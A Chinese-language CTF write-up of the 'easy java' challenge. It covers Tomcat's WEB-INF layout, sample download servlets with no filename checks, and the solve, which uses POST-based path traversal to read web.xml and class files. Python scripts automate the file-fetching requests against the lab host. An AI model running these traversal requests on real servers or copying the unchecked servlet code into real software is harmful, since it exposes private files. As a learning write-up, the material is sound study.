Featured image of post WriteUp easy java

WriteUp easy java

通过easy java实地了解一下java web以及python automatic

easy java

roar ctf

1.intro

image.png

找了一圈感觉找不到源码。

我现在在思考是不是我的错觉,但是这张图片又告诉我不是错觉是真的下载了一个文件

image.png

xxx/Download?filename=help.docx

说回来,最开始我想着是路径遍历的问题,虽然确实是,但是我想成了/etc 这类经典的。

动用了../../../ 但是喜提notfound

2.一个会触发java.io.FileNotFoundException的例子

How to Fix the FileNotFoundException in Java.io

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

public class FileNotFoundExceptionExample {

    public static void main(String args[]) {

        BufferedReader br = null;
        try {
            br = new BufferedReader(new FileReader("myfile.txt"));
            String data = null;

            while ((data = br.readLine()) != null) {
                System.out.println(data);
            }
        } catch (IOException ioe) {
            ioe.printStackTrace();
        } finally {
            try {
                if (br != null) {
                    br.close();
                }
            } catch (IOException ioe) {
                ioe.printStackTrace();
            }
        }
    }
}
  • 是否可以执行路径遍历

   - 看起来可以

3.tomcat web-inf

i got a doc link

Application Developer’s Guide (9.0.97) - Deployment

摘要一下:

  • **.html, .jsp, etc. - The HTML and JSP pages, along with other files that must be visible to the client browser (such as JavaScript, stylesheet files, and images) for your application.

  • /WEB-INF/web.xml - The Web Application Deployment Descriptor for your application. This is ::an XML file describing the servlets and other component::s that make up your application, along with any initialization parameters and container-managed security constraints that you want the server to enforce for you. This file is discussed in more detail in the following subsection.

  • /WEB-INF/classes/ - This directory ::contains any Java class files (and associated resources) required for your application::, including both servlet and non-servlet classes, that are not combined into JAR files. If your classes are organized into Java packages, you must reflect this in the directory hierarchy under /WEB-INF/classes/. ::For example, a Java class named com.mycompany.mypackage.MyServlet would need to be stored in a file named /WEB-INF/classes/com/mycompany/mypackage/MyServlet.class.::

  • /WEB-INF/lib/ - This directory ::contains JAR files that contain Java class files:: (and associated resources) required for your application, such as third party class libraries or JDBC drivers.

3.1 一个例子

image.png

之前并没有仔细研究过这些,把重点全部放在了如何编写代码上。

这个是一个使用local tomcat作为服务器的项目demo(其实是一个学习java  web的时候写的我也不知道是个什么的东西)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38

.idea

src
    └── main
        ├── java
           └── com.test
               ├── Filters
               ├── Listeners
                  └── ListenerforServletContext
               └── Servlets
        ├── resources
        └── webapp
target
    ├── classes
       └── com
           └── test
               ├── Filters
                  └── Filter1
               ├── Listeners
                  └── ListenerforServletContext
               └── Servlets
                   └── DisplayHeader
    ├── generated-sources
    └── ServletDemo2
        ├── META-INF
        ├── WEB-INF
           ├── classes
              └── com
                  └── test
                      ├── Filters
                         └── Filter1
                      ├── Listeners
                         └── ListenerforServletContext
                      └── Servlets
           └── web.xml
        └── lib
pom.xml

大概是这样,不过这个写得很不符合项目规范。

3.2 为什么是.class文件

存放在target目录下的均为.class 文件,且1:1源文件。

至于为什么是.class 文件

.java.class 之间的关系简单说就是,::前者编译之后得到后者。::

  • .java :java源代码,面向人类
  • .class :编译之后得到的字节码,面向JVM

要是更为深层,这和tomcat的实现有关。

3.3 下载文件示例

  • 大多数下载请求都是通过GET而不是POST

  • doGET

  • 对比一下实际靶场的error stack,应该还有一个doPost 方法。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52

package com.example.download;  
  
import javax.servlet.annotation.WebServlet;  
import javax.servlet.http.HttpServlet;  
import javax.servlet.http.HttpServletRequest;  
import javax.servlet.http.HttpServletResponse;  
import java.io.File;  
import java.io.FileInputStream;  
import java.io.IOException;  
import java.io.OutputStream;  
  
@WebServlet("/download")  
public class FileDownloadServlet extends HttpServlet {  
  
    @Override  
    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {  
        // 假设这里从请求参数中获取要下载的文件名,实际应用中可能有更复杂的获取方式  
        String filename = request.getParameter("filename");  
  
        // 假设文件存放在服务器的某个特定目录下  
        String fileDirectory = "/path/to/files/";  
  
        File file = new File(fileDirectory + filename);  
  
        if (file.exists()) {  
            // 设置响应头,让浏览器知道这是一个文件下载操作,以及文件名等信息  
            response.setContentType("application/octet-stream");  
            response.setHeader("Content-Disposition", "attachment; filename=\"" + filename + "\"");  
  
            // 获取文件输入流,用于读取文件内容  
            FileInputStream inputStream = new FileInputStream(file);  
  
            // 获取输出流,用于将文件内容发送到客户端(浏览器)  
            OutputStream outputStream = response.getOutputStream();  
  
            byte[] buffer = new byte[4096];  
            int bytesRead;  
  
            while ((bytesRead = inputStream.read(buffer))!= -1) {  
                outputStream.write(buffer, 0, bytesRead);  
            }  
  
            // 关闭流  
            inputStream.close();  
            outputStream.close();  
        } else {  
            // 如果文件不存在,返回相应的错误信息给客户端  
            response.getWriter().write("文件不存在:" + filename);  
        }  
    }  
}

doPost

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43

@WebServlet("/download")  
public class FileDownloadServlet extends HttpServlet {  
  
    /...省略  
  
    @Override  
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws IOException {  
        // 同样从请求参数中获取要下载的文件名,实际可根据POST请求特点调整获取方式  
        String filename = request.getParameter("filename");  
  
        // 假设文件存放在服务器的某个特定目录下,这里设置该目录路径,可根据实际情况修改  
        String fileDirectory = "/path/to/files/";  
  
        File file = new File(fileDirectory + filename);  
  
        if (file.exists()) {  
            // 设置响应头,让浏览器知道这是一个文件下载操作,以及文件名等信息  
            response.setContentType("application/octet-stream");  
            response.setHeader("Content-Disposition", "attachment; filename=\"" + filename + "\"");  
  
            // 获取文件输入流,用于读取文件内容  
            FileInputStream inputStream = new FileInputStream(file);  
  
            // 获取输出流,用于将文件内容发送到客户端(浏览器)  
            OutputStream outputStream = response.getOutputStream();  
  
            byte[] buffer = new byte[4096];  
            int bytesRead;  
  
            while ((bytesRead = inputStream.read(buffer))!= -1) {  
                outputStream.write(buffer, 0, bytesRead);  
            }  
  
            // 关闭流  
            inputStream.close();  
            outputStream.close();  
        } else {  
            // 如果文件不存在,返回相应的错误信息给客户端  
            response.getWriter().write("文件不存在:" + filename);  
        }  
    }  
}

4.Easy java writeup

4.1 请求分析

image.png

  • GET请求

   - 为什么使用GET?与使用POST的区别?

   - 为什么GET请求无法下载反而显示notfound

     - 和靶场的doPost以及doGet实现有关

  • 是什么使得下载成功的?

   - 使用了hackbar的POST

4.2 请求切换

image.png

修改请求的文件是web.xml

虽然502  error

image.png

还有一句Apache Tomcat/8.5.24

获取到的:

  1. usr/local

  2. 调用链

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17

java.io.FileNotFoundException:  
  
##47;usr##47;local##47;tomcat##47;webapps##47;ROOT##47;web.xml (No such file or directory)  
  
java.io.FileInputStream.open(Native Method)  
java.io.FileInputStream.open(FileInputStream.java:195)  
  
java.io.FileInputStream.<init>(FileInputStream.java:138)  
java.io.FileInputStream.<init>(FileInputStream.java:93)  
  
com.wm.ctf.DownloadController.doPost(DownloadController.java:24)  
  
javax.servlet.http.HttpServlet.service(HttpServlet.java:661)  
javax.servlet.http.HttpServlet.service(HttpServlet.java:742)  
  
org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:52)
  • 这算是什么级别的信息泄露?

   - 错误处理不当?

      - 如果是,如何正确处理?

        - 或许是不要输出原生java的报错

4.3 修改正确路径

image.png

相应的响应内容:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58

HTTP/1.1 200   
Server: openresty  
Date: Wed, 27 Nov 2024 02:15:12 GMT  
Content-Type: application/xml  
Connection: close  
Vary: Accept-Encoding  
Content-Disposition: attachment;filename=WEB-INF/web.xml  
Cache-Control: no-cache  
Content-Length: 1562  
  
<?xml version="1.0" encoding="UTF-8"?>  
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"  
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"  
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"  
         version="4.0">  
  
    <welcome-file-list>  
        <welcome-file>Index</welcome-file>  
    </welcome-file-list>  
  
    <servlet>  
        <servlet-name>IndexController</servlet-name>  
        <servlet-class>com.wm.ctf.IndexController</servlet-class>  
    </servlet>  
    <servlet-mapping>  
        <servlet-name>IndexController</servlet-name>  
        <url-pattern>/Index</url-pattern>  
    </servlet-mapping>  
  
    <servlet>  
        <servlet-name>LoginController</servlet-name>  
        <servlet-class>com.wm.ctf.LoginController</servlet-class>  
    </servlet>  
    <servlet-mapping>  
        <servlet-name>LoginController</servlet-name>  
        <url-pattern>/Login</url-pattern>  
    </servlet-mapping>  
  
    <servlet>  
        <servlet-name>DownloadController</servlet-name>  
        <servlet-class>com.wm.ctf.DownloadController</servlet-class>  
    </servlet>  
    <servlet-mapping>  
        <servlet-name>DownloadController</servlet-name>  
        <url-pattern>/Download</url-pattern>  
    </servlet-mapping>  
  
    <servlet>  
        <servlet-name>FlagController</servlet-name>  
        <servlet-class>com.wm.ctf.FlagController</servlet-class>  
    </servlet>  
    <servlet-mapping>  
        <servlet-name>FlagController</servlet-name>  
        <url-pattern>/Flag</url-pattern>  
    </servlet-mapping>  
  
</web-app>

一种常见的servlet和mapping的bind

4.4 直接访问/Flag

抱着试一试的心

image.png

此路不同就走另外的路。

不过我没有想到的是走了获取字节码的路。

1
2
3
4
5
6
7
8
9

 <servlet>  
        <servlet-name>FlagController</servlet-name>  
        <servlet-class>com.wm.ctf.FlagController</servlet-class>  
    </servlet>  
    <servlet-mapping>  
        <servlet-name>FlagController</servlet-name>  
        <url-pattern>/Flag</url-pattern>  
    </servlet-mapping>

4.5 再次请求

image.png

请求得到结果

看到Come On

image.png

4.6 get flag

两个等号

image.png

  • base64编码都是以== 结尾吗?

   在 Base64 编码过程中,数据被按每 6 位一组进行分组,然后映射到对应的 Base64 字符表中的字符。

   当被编码的数据长度不是 3 的倍数时,会进行填充操作:

   1. 如果原数据长度除以 3 余 1,编码结果会在末尾添加 2 个 “=”。

   2. 如果原数据长度除以 3 余 2,编码结果会在末尾添加 1 个 “=”。

   3. 如果原数据长度是 3 的倍数,则不需要添加 “=”。

一个非常有趣的ctf

image.png

试图用python完成自动化

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67

import requests  
import time  
import random  
  
def get_user_agent():  
    user_agents = [  
        "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3",  
        "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Firefox/59.0",  
        "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Edge/16.1709",  
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.122 Safari/537.36",  
    ]  
    return random.choice(user_agents)  
  
def get_headers():  
    headers = {  
        "User-Agent": get_user_agent(),  
        "Accept-Language": "en-US,en;q=0.5",  
        "Accept-Encoding": "gzip, deflate, br",  
        "Connection": "keep-alive",  
    }  
    return headers  
  
def send_get_request(url, params=None):  
    try:  
        headers = get_headers()  # 获取伪装的请求头  
        response = requests.get(url, headers=headers, params=params)  
  
        if response.status_code == 200:  
            print("GET 请求成功!")  
            print("响应内容:", response.text[:5500])  
        else:  
            print(f"GET 请求失败,状态码:{response.status_code}")  
    except requests.exceptions.RequestException as e:  
        print(f"请求错误:{e}")  
  
def send_post_request(url, data=None):  
    try:  
        headers = get_headers()  
        response = requests.post(url, headers=headers, data=data)  
  
        if response.status_code == 200:  
            print("POST 请求成功!")  
            print("响应内容:", response.text[:500])    
        else:  
            print(f"POST 请求失败,状态码:{response.status_code}")  
    except requests.exceptions.RequestException as e:  
        print(f"请求错误:{e}")  
  
def main():  
    print("--------It gets starting------")  
  
    url = "http://501e1e92-a571-4fae-b8ae-6ce7c2722ed7.node5.buuoj.cn:81/"  
    url = "http://501e1e92-a571-4fae-b8ae-6ce7c2722ed7.node5.buuoj.cn:81/Download?filename=help.docx"  
    # params = {'username': '1', 'password': 1}  
    params = {}  
    send_get_request(url, params)  
  
    time.sleep(random.uniform(1, 5))  
    print("-------wait ending--------")  
  
  
    data = {}  
    send_post_request(url, data)  
  
if __name__ == "__main__":  
    main()

结果:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10

--------It gets starting------

GET 请求成功!

响应内容 java.io.FileNotFoundException:{help.docx}

POST 请求成功!

响应内容 PK    ! ߤlZ     [Content_Types].xml �( 

最后我也知道当时下载了help.docx不是幻觉了,是通过post下载了。

现在的问题是,

  • 如何判断对方是java

   - java.io.FileNotFoundException:{help.docx}

  • 如何判断是tomcat

   - 通过POST得到help.docx之后,随便输一个文件,比如flag.docx,回显会有服务器版本,在上面的writeup部分

   - 另外一个就是,Java web主流的是spring,要么是maven,要么是tomcat。

      - maven复制src ,顶多是将resource 放到外面

      - tomcat的部分就和上面的tomcat部分 一样

最终版

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60

import time  
import requests  
import random  
  
def get_user_agent():  
    user_agents = [  
        "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3",  
        "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Firefox/59.0",  
        "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Edge/16.1709",  
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.122 Safari/537.36",  
    ]  
    return random.choice(user_agents)  
  
  
def get_headers():  
    headers = {  
        "User-Agent": get_user_agent(),  
        "Accept-Language": "en-US,en;q=0.5",  
        "Accept-Encoding": "gzip, deflate, br",  
        "Connection": "keep-alive",  
    }  
    return headers  
  
def send_post_request(url, data=None):  
    try:  
        headers = get_headers()  
        response = requests.post(url, headers=headers, data=data)  
  
        if response.status_code == 200:  
            if "flag" in response.text.lower():  
                print("Found flag!")  
                print("Response content:", response.text[:55000])  
            else:  
                print("POST request successful, but no flag found.")  
        else:  
            print(f"POST request failed, status code: {response.status_code}")  
    except requests.exceptions.RequestException as e:  
        print(f"Request error: {e}")  
  
  
catalog = "WEB-INF/classes/com/wm/ctf/"  
  
classes = ["IndexController.class",  
           "LoginController.class",  
           "DownloadController.class",  
           "FlagController.class"  
           ]  
url = f"http://501e1e92-a571-4fae-b8ae-6ce7c2722ed7.node5.buuoj.cn:81/Download?filename={catalog}"  
  
def posts():  
    for clas in classes:  
        print(f"Now is {clas}")  
        url_ = url + clas  
        data = {}  
        send_post_request(url_, data)  
        time.sleep(random.uniform(10, 15))  
  
if  __name__ == "__main__":  
    posts()

就是最后要手动去base64解码一下

Licensed under CC BY-NC-SA 4.0
comments powered by Disqus
Built with Hugo
Theme Stack designed by Jimmy